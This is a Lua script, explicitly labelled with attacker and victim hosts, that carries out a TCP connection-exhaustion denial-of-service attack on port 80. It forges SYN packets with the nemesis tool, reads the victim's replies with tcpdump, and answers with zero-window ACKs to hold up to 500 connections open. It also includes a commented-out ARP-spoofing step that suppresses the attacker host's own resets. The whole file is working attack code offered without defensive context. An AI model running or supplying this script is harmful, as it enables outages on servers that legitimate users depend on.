#!/usr/bin/lua require("posix") require("math") require("os") --~ Network configuration --~ Source = attacker --~ Destination = victim local limit = 500 -- Maximum connections number local iface = "eth3" -- Source (attacker) interface local src_mac = "00:0f:53:01:39:94" -- Actual source interface MAC local dst_mac = "00:0f:53:01:39:7c" -- Actual destination (victim) interface MAC local src = "10.0.5.1" -- Source IP local dst = "10.0.5.2" -- The destination IP local dst_poprt = 80 -- The destination port local nemesis = string.format("nemesis tcp -d %s -S %s -D %s -y %d -H %s -M %s", iface, src, dst, dst_poprt, src_mac, dst_mac) --~ Set fake MAC of the victim interface in the ARP table to prevent the attacker --~ system replies receiving by the victim --~ os.execute(string.format("arp -s %s 00:0c:29:c0:94:bf", dst)) math.randomseed(os.time()) function get_port(cs, idx) local port local conn local i local ex repeat port = math.random(30000, 60000) ex = false for i, conn in pairs(cs) do if conn.port == port then ex = true break end end until not ex return port end function send_syn(conn, port, seqn) local cmd conn.port = port conn.seqn = (seqn + math.random(1000, 5000)) % 4294967295 cmd = string.format("%s -fS -x %d -s %s -a 0 -w 29200 >/dev/null", nemesis, conn.port, tostring(conn.seqn)) print(cmd) os.execute(cmd) conn.seqn = conn.seqn + 1 return seqn end function get_conn_by_port(cs, port) local i local conn for i, conn in pairs(cs) do if tonumber(conn.port) == tonumber(port) then return conn end end return nil end function send_ack(conn, packet, ackn) local win = 0 if not ackn or not conn.seqn then return end conn.ackn = ackn cmd = string.format("%s -fA -x %d -s %s -a %s -w %d >/dev/null", nemesis, conn.port, tostring(conn.seqn), tostring(ackn), win) print(cmd) os.execute(cmd) end function send_reply(cs, packet) local conn if not packet then return end conn = get_conn_by_port(cs, packet.src_port) if not conn then return end if packet.flags == "S." then send_ack(conn, packet, packet.seqn + 1) elseif packet.flags == "." then if packet.seqn == nil then packet.seqn = conn.ackn end send_ack(conn, packet, packet.seqn) end end function get_packet(line) local packet = {} local psrc local pdst if not line then return nil end --~ Skip unexpected and outgoing packets psrc = string.find(line, src) pdst = string.find(line, dst) if not pdst or not pdst or psrc < pdst then return nil end packet.src_port = line:match(src .. ".(%d+)") packet.dst_port = line:match(dst .. ".(%d+)") packet.flags = line:match("%[([%a,%.]+)%]") packet.seqn = line:match("seq (%d+)") packet.ackn = line:match("ack (%d+)") print(packet.src_port, packet.dst_port, packet.flags, packet.seqn, packet.ackn) return packet end function main_loop() local packet local cs = {} local idx = 0 local f local seqn = 1971746917 local prev_time = 0 local curr_time f = io.popen("tcpdump -i " .. iface .. " -l -n tcp src port 80") while true do if idx < limit then curr_time = os.time() if curr_time ~= prev_time then prev_time = curr_time idx = idx + 1 cs[idx] = {} cs[idx].idx = idx seqn = send_syn(cs[idx], get_port(cs, idx), seqn) end end packet = get_packet(f:read("*l")) send_reply(cs, packet) end io.close(f) end main_loop()